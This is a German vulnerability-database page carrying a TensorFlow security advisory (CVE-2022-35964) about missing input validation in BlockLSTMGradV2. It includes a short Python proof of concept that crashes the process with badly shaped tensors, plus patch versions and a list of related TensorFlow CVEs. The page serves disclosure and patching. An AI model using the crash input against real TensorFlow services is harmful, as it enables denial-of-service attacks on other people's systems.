Anmelden
Deutsch English Español Polski
Mittel

TensorFlow vulnerable to segfault in `BlockLSTMGradV2`

  • Veröffentlicht: 16.09.2022
  • Aktualisiert: 11.10.2026 14:17

Impact

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

  • wci, wcf, wco, b must be rank 1
  • w, cs_prev, h_prev` must be rank 2
  • x must be rank 3 This results in a a segfault that can be used to trigger a denial of service attack.
python
import tensorflow as tf

use_peephole = False
seq_len_max = tf.constant(1, shape=[], dtype=tf.int64)
x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32)
tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)

Patches

We have patched the issue in GitHub commit 2a458fc4866505be27c62f81474ecb2b870498fa.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) tensorflow < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
Python (PyPI) tensorflow-cpu < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
Python (PyPI) tensorflow-gpu < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1

Verweise

CVSS-Wert 5.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-20
Plattform
Python (PyPI)
Paket
tensorflow, tensorflow-cpu, tensorflow-gpu
Veröffentlicht
16.09.2022
Aktualisiert
11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-3170 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-3318 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-f7r5-q7cx-h668 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-988 - PyPA Advisory Database; CC BY 4.0

Schwachstellenhistorie: tensorflow-gpu

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (427) im Archiv
Einträge insgesamt
427
Erste → letzte
04.2019 07.2024
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 6
  • Hoch 109
  • Mittel 207
  • Niedrig 105

Veröffentlichungen pro Jahr

Schweregrad:
  1. TensorFlow has segfault in array_ops.upper_bound
    Hoch · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  2. TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch
    Hoch · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  3. TensorFlow vulnerable to seg fault in `tf.raw_ops.Print`
    Hoch · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  4. TensorFlow vulnerable to integer overflow in EditDistance
    Hoch · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  5. TensorFlow has Null Pointer Error in TensorArrayConcatV2
    Hoch · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  6. TensorFlow has Null Pointer Error in SparseSparseMaximum
    Hoch · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  7. TensorFlow has Floating Point Exception in AudioSpectrogram
    Hoch · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  8. TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
    Kritisch · 9.8 CVE-2023-25668 < 2.11.1 2.11.1
  9. TensorFlow has Floating Point Exception in AvgPoolGrad with XLA
    Hoch · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  10. TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize
    Hoch · 7.5 CVE-2023-25670 < 2.11.1 2.11.1
  11. TensorFlow has Null Pointer Error in LookupTableImportV2
    Hoch · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  12. TensorFlow has Floating Point Exception in TensorListSplit with XLA
    Hoch · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  13. TensorFlow has Null Pointer Error in RandomShuffle with XLA enable
    Hoch · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  14. TensorFlow has Segfault in Bincount with XLA
    Hoch · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  15. TensorFlow has null dereference on ParallelConcat with XLA
    Hoch · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  16. TensorFlow has double free in Fractional(Max/Avg)Pool
    Hoch · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  17. TensorFlow has Floating Point Exception in TFLite in conv kernel
    Hoch · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  18. TensorFlow vulnerable to Out-of-Bounds Read in GRUBlockCellGrad
    Hoch · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  19. Out of bounds write in grappler in Tensorflow
    Hoch · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  20. FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess
    Hoch · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. TensorFlow vulnerable to segfault in `BlockLSTMGradV2` dieser Eintrag
    Mittel · 5.9 CVE-2022-35964 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  22. TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite
    Hoch · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  23. TensorFlow vulnerable to OOB read in `Gather_nd` in TF Lite
    Hoch · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  24. Code injection in `saved_model_cli` in TensorFlow
    Hoch · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  25. Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow
    Hoch · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  26. NULL Pointer Dereference and Access of Uninitialized Pointer in TensorFlow
    Kritisch · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  27. Improper Validation of Integrity Check Value in TensorFlow
    Hoch · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  28. Out of bounds read in Tensorflow
    Hoch · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  29. Read and Write outside of bounds in TensorFlow
    Hoch · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  30. Insecure temporary file in Tensorflow
    Hoch · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  31. Out of bounds read in Tensorflow
    Hoch · 8.1 CVE-2022-23592 >= 2.7.0, < 2.8.0 2.8.0
  32. Stack overflow in TensorFlow
    Hoch · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  33. Out of bounds read and write in Tensorflow
    Hoch · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  34. Uninitialized variable access in Tensorflow
    Hoch · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  35. Integer overflow in Tensorflow
    Hoch · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  36. Out of bounds write in TFLite
    Hoch · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  37. Integer overflow in TFLite
    Hoch · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  38. Out of bounds write in Tensorflow
    Hoch · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  39. Use after free in `DecodePng` kernel
    Hoch · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  40. Integer overflow in TFLite array creation
    Hoch · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
Mehr anzeigen (20) 40 von 116 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Datenschutzerklärung

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.